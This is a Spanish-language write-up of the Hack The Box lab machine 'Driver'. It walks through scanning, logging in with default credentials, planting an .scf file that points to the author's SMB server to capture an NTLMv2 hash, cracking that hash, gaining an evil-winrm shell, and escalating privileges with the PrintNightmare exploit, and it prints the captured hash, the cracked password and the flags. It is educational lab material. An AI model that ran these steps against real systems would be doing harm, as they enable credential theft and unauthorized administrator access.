Driver [EASY🟢]

Dificultad: Fácil

1- Reconocimiento y escaneo

1.1 Ping

PING 10.10.11.106 (10.10.11.106) 56(84) bytes of data.
64 bytes from 10.10.11.106: icmp_seq=1 ttl=127 time=177 ms

--- 10.10.11.106 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 177.499/177.499/177.499/0.000 ms

Podemos notar que se trata de una maquina Windows, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

# Nmap 7.95 scan initiated Sun Mar  2 20:50:41 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv -oN escaneo.txt 10.10.11.106
Nmap scan report for 10.10.11.106
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-02 20:50:41 -03 for 75s
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      REASON          VERSION
80/tcp   open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
135/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
445/tcp  open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 18115/tcp): CLEAN (Timeout)
|   Check 2 (port 40145/tcp): CLEAN (Timeout)
|   Check 3 (port 26928/udp): CLEAN (Timeout)
|   Check 4 (port 36721/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-time: 
|   date: 2025-03-03T06:51:18
|_  start_date: 2025-03-03T06:45:28
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar  2 20:51:56 2025 -- 1 IP address (1 host up) scanned in 75.28 seconds

Se ven puertos comunes de Windows, como el 135, 139, y el 445(SMB), ademas del puerto 80 correspondiente a un servidor web(Microsoft IIS httpd 10.0)

1.3 whatweb

http://10.10.11.106 [401 Unauthorized] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.106], Microsoft-IIS[10.0], PHP[7.3.25], WWW-Authenticate[MFP Firmware Update Center. Please enter password for admin][Basic], X-Powered-By[PHP/7.3.25]

Tenemos tecnologías web como:

Microsoft IIS 10.0
PHP 7.3.25

1.4 Fuzzing

wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.106/FUZZ
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.106/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.106/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                            
=====================================================================

000000002:   401        1 L      2 W        20 Ch       "#"                                                                                
000000203:   301        1 L      10 W       150 Ch      "Images"                                                                           
000003673:   301        1 L      10 W       150 Ch      "IMAGES"                                                                           
000000005:   401        1 L      2 W        20 Ch       "# This work is licensed under the Creative Commons"                               
000000004:   401        1 L      2 W        20 Ch       "#"                                                                                
000000008:   401        1 L      2 W        20 Ch       "# or send a letter to Creative Commons, 171 Second Street,"                       
000000006:   401        1 L      2 W        20 Ch       "# Attribution-Share Alike 3.0 License. To view a copy of this"                    
000000009:   401        1 L      2 W        20 Ch       "# Suite 300, San Francisco, California, 94105, USA."                              
000000010:   401        1 L      2 W        20 Ch       "#"                                                                                
000000011:   401        1 L      2 W        20 Ch       "# Priority ordered case sensative list, where entries were found"                 
000000016:   301        1 L      10 W       150 Ch      "images"                                                                           
000000012:   401        1 L      2 W        20 Ch       "# on atleast 2 different hosts"                                                   
000000014:   401        1 L      2 W        20 Ch       "http://10.10.11.106/"                                                             
000000013:   401        1 L      2 W        20 Ch       "#"                                                                                
000000007:   401        1 L      2 W        20 Ch       "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                  
000000003:   401        1 L      2 W        20 Ch       "# Copyright 2007 James Fisher"                                                    
000000001:   401        1 L      2 W        20 Ch       "# directory-list-2.3-medium.txt"                                                  
000045240:   401        1 L      2 W        20 Ch       "http://10.10.11.106/"                                                             

Total time: 0
Processed Requests: 220560
Filtered Requests: 220542
Requests/sec.: 0

Dentro del fuzzing del directorio por default no encontramos nada relevante

2- Explotación

2.1 admin/admin

Vamos a irnos a la pagina web alojada en el puerto 80:

Nos pide unas credenciales mediante un panel de login(común en dispositivos IoT)

Si recordamos el escaneo de "whatweb" para ver las tecnologías web, nos vamos a encontrar con esto:

WWW-Authenticate[MFP Firmware Update Center. Please enter password for admin][Basic]

Nos da el usuario a ingresar, en este caso "admin", si probamos la contraseña default de la mayoría de dispositivos IoT, "admin" y "admin":

Nos deja entrar y podemos ver que es una impresora que esta expuesta en internet con credenciales por default, esta aplicación web es el MFP Firmware Update Center, ósea para actualizar el firmware de la impresora

Si nos vamos a "Firmware Updates":

Tenemos un formulario para subida de archivos dentro del servidor web

2.2 SCF(Shortcut File) en impresoras vía SMB

Podríamos pensar que ya como tenemos un formulario de subida de archivos en el servidor web, ya podemos subir un archivo PHP malicioso para obtener ejecución remota de comandos, pero este no es el caso, la intrusión a la maquina objetivo viene por otro lado, en este caso vamos a aprovecharnos de una vulnerabilidad llamada "SCF"

La vulnerabilidad SCF (Shortcut File) en impresoras está relacionada con la explotación de archivos de acceso directo de Windows (.scf) y afecta a dispositivos de impresión que tienen recursos compartidos en la red. Se aprovecha principalmente en entornos donde las impresoras tienen un servidor SMB (Server Message Block) habilitado o comparten archivos en la red local.

Si recordamos en el escaneo de Nmap, teníamos abierto el puerto 445 correspondiente a un servidor SMB, por lo que corresponde la vulnerabilidad SCF

2.2.1 ¿Cómo funciona la vulnerabilidad SCF?

  1. Envío de un archivo malicioso: El atacante crea un archivo .scf modificado y lo almacena en la impresora (si tiene almacenamiento interno) o en un recurso compartido mayormente.

  2. Autenticación forzada (NTLM Relay): Cuando un usuario o el sistema accede a la impresora y abre el recurso compartido, el archivo .scf se ejecuta de manera automática. Este archivo puede apuntar a una ruta SMB controlada por el atacante.

  3. Robo de credenciales: Cuando el sistema intenta acceder a la ruta maliciosa, envía un hash NTLMv2 del usuario autenticado. El atacante puede capturar este hash y:

    • Realizar un ataque de Pass-the-Hash para acceder a otros sistemas.

    • Intentar crackear el hash para obtener la contraseña en texto claro.

  4. Escalada de privilegios o movimiento lateral: Una vez que el atacante tiene las credenciales, puede moverse por la red, acceder a otros dispositivos o comprometer recursos más sensibles.

En este caso, la modalidad que vamos a ejercer es la segunda opción, vamos a obtener el Hash de NTLMv2 del usuario autenticado en cuestión

Pero... ¿Cómo sabemos que un usuario va a acceder al sistema?

En el mismo panel de actualización de Firmware lo indica:

"Nuestro equipo de pruebas revisará las cargas manualmente e iniciará las pruebas en breve. "

Así que vamos a crearnos un archivo ".SCF" para subirlo al servidor objetivo mediante SMB y obtener los hashes NTLMv2 teniendo en escucha la herramienta "responder"

En mi caso utilizare el siguiente archivo .SCF:

[Shell]
Command=2
IconFile=\\{IP VPN HTB}\{Ruta del recurso compartido}\{Archivo del recurso compartido}
[Taskbar]
Command=ToggleDesktop

En mi caso quedaria de la siguiente manera:

[Shell]
Command=2
IconFile=\\10.10.14.12\home\kali\ctf\driver\pwned.ico 
[Taskbar]
Command=ToggleDesktop
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# nvim archivo.scf
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# cat archivo.scf 
[Shell]
Command=2
IconFile=\\10.10.14.12\home\kali\ctf\driver\pwned.ico 
[Taskbar]
Command=ToggleDesktop
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# 

Este archivo .SCF, es necesario que lo almacenemos dentro de una carpeta, asi que vamos a crear una carpeta y mover el archivo .SCF a la carpeta:

┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# mkdir carpeta
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# mv archivo.scf carpeta 
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# cd carpeta     
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/driver/carpeta]
└─# ls
archivo.scf
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/driver/carpeta]
└─# 

Y ahora vamos a alojar un servidor SMB dentro de nuestro Kali, especificándole la ruta que le dimos al archivo .SCF, esto lo hacemos con la herramienta de "impacket-smbserver" con el siguiente comando:

impacket-smbserver {Nombre del recurso compartido} {Directorio a comportir} -smb2support

En mi caso quedaría de la siguiente manera:

impacket-smbserver recurso /home/kali/ctf/driver/carpeta -smb2support

Ejecutamos:

┌──(root㉿t0mz)-[/home/kali/ctf/driver/carpeta]
└─# impacket-smbserver recurso /home/kali/ctf/driver/carpeta -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Y ahora vamos a subir el archivo .SCF al formulario de subida de archivos dentro de la pagina web:

Una vez subido el archivo .SCF, volvemos a la shell donde teníamos el servidor SMB alojado y veremos el hash NTLMv2:

┌──(root㉿t0mz)-[/home/kali/ctf/driver/carpeta]
└─# impacket-smbserver recurso /home/kali/ctf/driver/carpeta -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.106,49414)
[*] AUTHENTICATE_MESSAGE (DRIVER\tony,DRIVER)
[*] User DRIVER\tony authenticated successfully
[*] tony::DRIVER:aaaaaaaaaaaaaaaa:4207edd08ad04a04c0449928fde81be5:010100000000000000037933e28bdb01ca96c04f61e5ec2800000000010010007a004400460068004d004b0068006e00030010007a004400460068004d004b0068006e000200100075006c004800610053004d00740041000400100075006c004800610053004d00740041000700080000037933e28bdb0106000400020000000800300030000000000000000000000000200000b662ba59c105c74714e18adac3c4f3284f4bee632db627cf5ddf4a2de991f6d90a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003200000000000000000000000000
[*] Connecting Share(1:IPC$)
[-] SMB2_TREE_CONNECT not found home
[-] SMB2_TREE_CONNECT not found home
[*] Disconnecting Share(1:IPC$)
[*] Closing down connection (10.10.11.106,49414)
[*] Remaining connections []

El hash NTLMv2 es el siguiente:

tony::DRIVER:aaaaaaaaaaaaaaaa:4207edd08ad04a04c0449928fde81be5:010100000000000000037933e28bdb01ca96c04f61e5ec2800000000010010007a004400460068004d004b0068006e00030010007a004400460068004d004b0068006e000200100075006c004800610053004d00740041000400100075006c004800610053004d00740041000700080000037933e28bdb0106000400020000000800300030000000000000000000000000200000b662ba59c105c74714e18adac3c4f3284f4bee632db627cf5ddf4a2de991f6d90a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003200000000000000000000000000

Ahora vamos a almacenar este hash NTLMv2 en un fichero de texto y a visualizarlo:

┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# nvim hash               
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# cat hash               
tony::DRIVER:aaaaaaaaaaaaaaaa:4207edd08ad04a04c0449928fde81be5:010100000000000000037933e28bdb01ca96c04f61e5ec2800000000010010007a004400460068004d004b0068006e00030010007a004400460068004d004b0068006e000200100075006c004800610053004d00740041000400100075006c004800610053004d00740041000700080000037933e28bdb0106000400020000000800300030000000000000000000000000200000b662ba59c105c74714e18adac3c4f3284f4bee632db627cf5ddf4a2de991f6d90a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003200000000000000000000000000
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# 

La contraseña esta hasheada, por lo que hay que aplicar fuerza bruta para obtener la contraseña en texto plano, para eso vamos a utilizar John The Ripper con el siguiente comando:

john --wordlist={Diccionario} {Archivo con hash}

En mi caso utilizare el diccionario "rockyou", de tal manera que el comando quedaría de la siguiente forma:

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Ejecutamos:

┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
liltony          (tony)     
1g 0:00:00:00 DONE (2025-03-02 23:25) 16.66g/s 529066p/s 529066c/s 529066C/s !!!!!!..225566
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# 

Ya tenemos las credenciales del usuario "tony":

Usuario: tony
Contraseña: liltony

Y ahora vamos a validar las credenciales para ver si tenemos acceso al servidor SMB con "crackmapexec" con el siguiente comando:

crackmapexec {Servicio} {IP Objetivo} -u '{Usuario}' -p '{Contraseña}'

Ejecutamos:

┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# crackmapexec smb 10.10.11.106 -u 'tony' -p 'liltony'
SMB         10.10.11.106    445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB         10.10.11.106    445    DRIVER           [+] DRIVER\tony:liltony 
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# 

2.3 Obtención de reverse shell con evil-winrm

Tambien vamos a validar con "crackmapexec" si podemos acceder con estas credenciales mediante "evil-winrm":

┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
SMB         10.10.11.106    5985   DRIVER           [*] Windows 10 Build 10240 (name:DRIVER) (domain:DRIVER)
HTTP        10.10.11.106    5985   DRIVER           [*] http://10.10.11.106:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.10.11.106    5985   DRIVER           [+] DRIVER\tony:liltony (Pwn3d!)

Vemos que si es posible, asi que vamos a utilizar "evil-winrm" para conectarnos y obtener una shell de PowerShell con el siguiente comando:

evil-winrm -i {IP objetivo} -u '{Usuario}' -p '{Contraseña}'

De tal manera que:

evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'

Ejecutamos:

┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents> 

Ya tenemos una consola de PowerShell remota hacia la maquina de Hack The Box

2.4 Obtención de la flag user

La flag de user se encuentra dentro de la ruta absoluta "C:\Users\tony\Desktop\user.txt":

*Evil-WinRM* PS C:\Users\tony\Documents> type "C:\Users\tony\Desktop\user.txt"
517dbf0895247c9062580271eadb62e3
*Evil-WinRM* PS C:\Users\tony\Documents> 

3- Escalado de privilegios

3.1 spoolsv.exe LPE

Si miramos los procesos que tenemos corriendo sobre la maquina con el comando "ps", veremos un proceso llamado "spoolsv":

*Evil-WinRM* PS C:\Users\tony\Documents> ps

Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName
-------  ------    -----      ----- -----   ------     -- -----------
     40       4     1892       1388 ...67     2.47   3024 cmd
    113      10    10448       6760 ...45     4.20   2244 conhost
    291      13     1172       4156 ...02             344 csrss
    259      18     1168       4072 ...08             448 csrss
    203      13     3308      12016 ...02            2264 dllhost
    331      27    30764      49204 ...05             852 dwm
    506      27     8776      30800 ...32     0.30    840 explorer
   1404      59    16372      61092 ...67    25.53   2084 explorer
    518      34    10168      35216 ...44     0.27   2592 explorer
    503      27     8332      30624 ...32     0.31   2628 explorer
      0       0        0          4     0               0 Idle
    956      23     4924      14460 ...01             572 lsass
    173      13     2328       8864 ...95            2432 msdtc
    462      38    15268      43128   302     1.31   4328 OneDrive
     55       6      724       3316 ...65     0.02   3008 PING
    300      18     6696      23296 ...81     0.75   3168 RuntimeBroker
    692      45    21732      26876 ...32            2672 SearchIndexer
    742      47    29924      70584 33078     0.44   3548 SearchUI
    185      12     2652      10484 ...02             976 sedsvc
    247      10     2664       6424 ...75             564 services
    603      29    13732      46528   244     0.55   3452 ShellExperienceHost
    342      15     3340      17552 ...47     0.41   2984 sihost
     49       3      332       1164 ...56             264 smss
    379      22     5124      13824 ...12            1232 spoolsv
    631      46     7272      19852 ...23             256 svchost
    528      20     4928      16924 ...16             656 svchost
    511      18     3368       8808 ...91             712 svchost
   1292      52    15704      37528 ...19             808 svchost
    211      16     1928       8252 ...96             860 svchost
    561      26    10800      17676 ...37             868 svchost
    421      21     4792      17680 ...46             968 svchost
    757      26     5856      13940 ...37            1000 svchost
    486      42    13580      24144 ...67            1400 svchost
    275      18     4856      14684 ...07            1496 svchost
    128      11     3072       9292 ...97            1536 svchost
    179      15     3608      15092 ...58            1620 svchost
    181      15     3460       9932 ...05            1692 svchost
    172      12     2068      12288 ...26     0.06   1920 svchost
    116       9     1280       6124 ...77            2600 svchost
     99       7     1164       5960 ...87            4768 svchost
    848       0      124        136     3               4 System
    274      27     4492      13556 ...16     0.47   3012 taskhostw
    138      11     2668      10408 ...22            1668 VGAuthService
    108       7     1296       5500 ...06            1776 vm3dservice
    100       8     1352       6008 ...28            1908 vm3dservice
    332      23     8776      21400 ...52            1704 vmtoolsd
    211      18     4964      15076 ...67     0.36   4224 vmtoolsd
     85       8      820       4656 ...73             464 wininit
    181       9     1636       8716 ...22             500 winlogon
    325      18     9028      18592 ...96            2384 WmiPrvSE
   1387      31   120528     140656 ...67     2.03   5004 wsmprovhost
    219      10     1564       7152 ...92            1060 WUDFHost


*Evil-WinRM* PS C:\Users\tony\Documents> 
    379      22     5124      13824 ...12            1232 spoolsv

Mediante este proceso podemos realizar un LPE(Local Privilege Escalation), podemos utilizar varios exploits que se encuentran en GitHub, en mi caso utilizare un exploit de John Hammond concretamente la vulnerabilidad publica CVE-2021-34527:

Repositorio de GitHub

Créditos al creador del repositorio

Asi que vamos a bajarnos con "wget" el archivo "CVE-2021-34527.ps1" para ejecutarlo en la reverse shell de PowerShell que obtuvimos con evil-winrm para ejecutar la escalada de privilegios

Lo que realiza este exploit es la creación de un nuevo usuario dentro de la maquina con un usuario y contraseña que nosotros le asignemos a los parámetros del exploit

wget https://raw.githubusercontent.com/JohnHammond/CVE-2021-34527/refs/heads/master/CVE-2021-34527.ps1

Ejecutamos:

┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# wget https://raw.githubusercontent.com/JohnHammond/CVE-2021-34527/refs/heads/master/CVE-2021-34527.ps1
--2025-03-02 23:58:50--  https://raw.githubusercontent.com/JohnHammond/CVE-2021-34527/refs/heads/master/CVE-2021-34527.ps1
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.108.133, 185.199.110.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.109.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 178563 (174K) [text/plain]
Grabando a: «CVE-2021-34527.ps1»

CVE-2021-34527.ps1                   100%[======================================================================>] 174,38K  --.-KB/s    en 0,03s   

2025-03-02 23:58:50 (5,25 MB/s) - «CVE-2021-34527.ps1» guardado [178563/178563]

                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# 

Y ahora vamos a alojar nuevamente un servidor SMB para pasarnos con el comando "copy" el archivo .ps1 del exploit:

┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# impacket-smbserver recurso $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Y para bajarnos el archivo dentro de la reverse shell PowerShell de evil-winrm utilizamos el siguiente comando:

copy \\{IP VPN HTB}\{Nombre del recurso}\{Archivo a bajar} {Nombre de salida del archivo}

En mi caso quedaría de la siguiente manera:

copy \\10.10.14.12\recurso\CVE-2021-34527.ps1 lpe.ps1

Ejecutamos:

*Evil-WinRM* PS C:\Users\tony\Documents> copy \\10.10.14.12\recurso\CVE-2021-34527.ps1 lpe.ps1
*Evil-WinRM* PS C:\Users\tony\Documents> dir


    Directory: C:\Users\tony\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         3/2/2025   6:58 PM         178563 lpe.ps1


*Evil-WinRM* PS C:\Users\tony\Documents> 

(Dentro de la carpeta "Documents" del usuario "tony", tenemos permisos de escritura y lectura)

Antes de importar el modulo del script "lpe.ps1", vamos a habilitar la importación de modulos con el siguiente comando:

Set-ExecutionPolicy RemoteSigned -scope CurrentUser

Ejecutamos

*Evil-WinRM* PS C:\Users\tony\Documents> Set-ExecutionPolicy RemoteSigned -scope CurrentUser
*Evil-WinRM* PS C:\Users\tony\Documents> 

Y ahora vamos a importar el modulo del exploit que nos acabamos de bajar, en mi caso "lpe.ps1":

*Evil-WinRM* PS C:\Users\tony\Documents> Import-Module .\lpe.ps1
*Evil-WinRM* PS C:\Users\tony\Documents> 

Una vez ya importado el modulo, vamos a crear un nuevo usuario desde PowerShell con las funciones del anterior modulo importado con el siguiente comando "Invoke-Nightmare":

*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare
[+] using default new user: adm1n
[+] using default new password: P@ssw0rd
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user  as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\Users\tony\Documents> 

Se creo un usuario admin con las siguientes credenciales

user: adm1n
password: P@ssw0rd

Ademas de crearse el payload en formato .dll

Ahora vamos a crear un usuario que sea Administrator con el siguiente comando:

Invoke-Nightmare -DriverName "Xerox" -NewUser "{Username}" -NewPassword "{Password}" 

En mi caso utilizare las siguientes credenciales:

Invoke-Nightmare -DriverName "Xerox" -NewUser "t0mz" -NewPassword "SuperSecure" 

Ejecutamos:

*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -DriverName "Xerox" -NewUser "t0mz" -NewPassword "SuperSecure" 
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user t0mz as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\Users\tony\Documents> 
User: t0mz
Password: SuperSecure

Ahora ya tenemos el usuario "t0mz" en mi caso, que ya pertenece al grupo de Administrators de esta maquina, asi que vamos a conectarnos con "evil-winrm" con estas credenciales:

evil-winrm -i 10.10.11.106 -u 't0mz' -p 'SuperSecure'

Ejecutamos:

┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# evil-winrm -i 10.10.11.106 -u 't0mz' -p 'SuperSecure'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\t0mz\Documents> 

Ya tenemos un usuario Administrator solamente por el fallo de seguridad del proceso "spoolsv.exe"

3.2 Obtención de la flag root

La flag de user se encuentra dentro de la ruta absoluta "C:\Users\Administrator\Desktop\root.txt":

*Evil-WinRM* PS C:\Users\t0mz\Documents> type "C:\Users\Administrator\Desktop\root.txt"
212278b7b87e4810c6d48dfbccf3db19
*Evil-WinRM* PS C:\Users\t0mz\Documents> 

Con esto, concluimos la maquina "Driver" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

Última actualización